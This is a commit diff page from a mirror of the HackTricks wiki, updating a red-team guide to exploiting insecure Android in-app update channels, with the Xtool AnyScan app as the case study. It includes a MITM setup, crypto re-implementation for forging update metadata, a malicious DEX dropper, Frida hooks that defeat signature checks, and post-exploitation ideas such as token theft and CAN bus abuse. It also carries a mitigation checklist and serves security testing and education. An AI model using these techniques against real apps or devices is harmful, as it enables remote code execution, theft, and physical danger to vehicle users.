maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #1332 from HackTricks-wiki/research_update_src_mobile-pentesting_android-app-pentesting_insecure-in-app-update-rce_20250825_013931

Browse Source 
Research Update Enhanced src/mobile-pentesting/android-app-p...
This commit is contained in:
SirBroccoli 2025-08-27 06:02:03 +02:00 committed by GitHub
commit 7b609aef63
1 changed files with 141 additions and 25 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

166
src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md
View File

@ -2,15 +2,50 @@
{{#include ../../banners/hacktricks-training.md}}
Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
Many Android applications implement their own “plugin” or “dynamic feature” update channels instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept or tamper with the update traffic can supply arbitrary native or Dalvik/ART code that will be loaded inside the app process, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
This page summarises a real‐world vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
This page summarises a real‐world vulnerability chain found in the Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
---
## 0. Quick triage: does the app have an in‑app updater?
Static hints to look for in JADX/apktool:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
Runtime hooks to confirm:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identifying an Insecure TLS TrustManager
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
2. Look for a custom `TrustManager` or `HostnameVerifier` that blindly trusts every certificate:
```java
public static TrustManager[] buildTrustManagers() {
@ -24,26 +59,37 @@ public static TrustManager[] buildTrustManagers() {
}
```
3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert:
3. If present the application will accept any TLS certificate → you can run a transparent MITM proxy with a self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
If TLS pinning is enforced instead of unsafe trust-all logic, see:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering the Update Metadata
In the AnyScan case each app launch triggers an HTTPS GET to:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin.
The response body is an XML document whose `<FileData>` nodes contain Base64-encoded, DES-ECB encrypted JSON describing each available plugin.
Typical hunting steps:
1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
* algorithm (DES / AES / RC4 …)
* mode of operation (ECB / CBC / GCM …)
* hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants)
- algorithm (DES / AES / RC4 …)
- mode of operation (ECB / CBC / GCM …)
- hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants)
2. Re-implement the function in Python to decrypt / encrypt the metadata:
```python
@ -61,8 +107,16 @@ def encrypt_metadata(plaintext: bytes) -> str:
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
Notes seen in the wild (2023–2025):
- Metadata is often JSON-within-XML or protobuf; weak ciphers and static keys are common.
- Many updaters accept plain HTTP for the actual payload download even if metadata comes over HTTPS.
- Plugins frequently unzip to app-internal storage; some still use external storage or legacy `requestLegacyExternalStorage`, enabling cross-app tampering.
---
## 3. Craft a Malicious Plugin
### 3.1 Native library path (dlopen/System.load[Library])
1. Pick any legitimate plugin ZIP and replace the native library with your payload:
```c
@ -80,11 +134,38 @@ $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML.
3. Re‑encrypt + Base64‑encode the modified JSON and copy it back inside the intercepted XML.
### 3.2 Dex-based plugin path (DexClassLoader)
Some apps download a JAR/APK and load code via `DexClassLoader`. Build a malicious DEX that triggers on load:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
If the target calls `Class.forName("pwn.Dropper")` your static initializer executes; otherwise, reflectively enumerate loaded classes with Frida and call an exported method.
---
## 4. Deliver the Payload with mitmproxy
`addon.py` example that *silently* swaps the original metadata:
`addon.py` example that silently swaps the original metadata:
```python
from mitmproxy import http
@ -99,37 +180,72 @@ def request(flow: http.HTTPFlow):
)
```
Run a simple web server to host the malicious ZIP:
Run a simple web server to host the malicious ZIP/JAR:
```bash
python3 -m http.server 8000 --directory ./payloads
```
When the victim launches the app it will:
* fetch our forged XML over the MITM channel;
* decrypt & parse it with the hard-coded DES key;
* download `PWNED.zip` → unzip inside private storage;
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …).
- fetch our forged XML over the MITM channel;
- decrypt & parse it with the hard-coded crypto;
- download `PWNED.zip` or `plugin.jar` → unzip inside private storage;
- load the included `.so` or DEX, instantly executing our code with the app’s permissions (camera, GPS, Bluetooth, filesystem, …).
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.
## 5. Post-Exploitation Ideas
---
## 4.1 Bypassing signature/hash checks (when present)
* Steal session cookies, OAuth tokens, or JWTs stored by the app.
* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`).
* Abuse any connected hardware – in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.).
If the updater validates signatures or hashes, hook verification to always accept attacker content:
```js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
---
## 5. Other attack surfaces in updaters (2023–2025)
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
---
## 6. Post-Exploitation Ideas
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
- Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation.
* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading.
* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key.
* Validate the integrity of downloaded archives (signature or at least SHA-256).
- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
---
## References
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}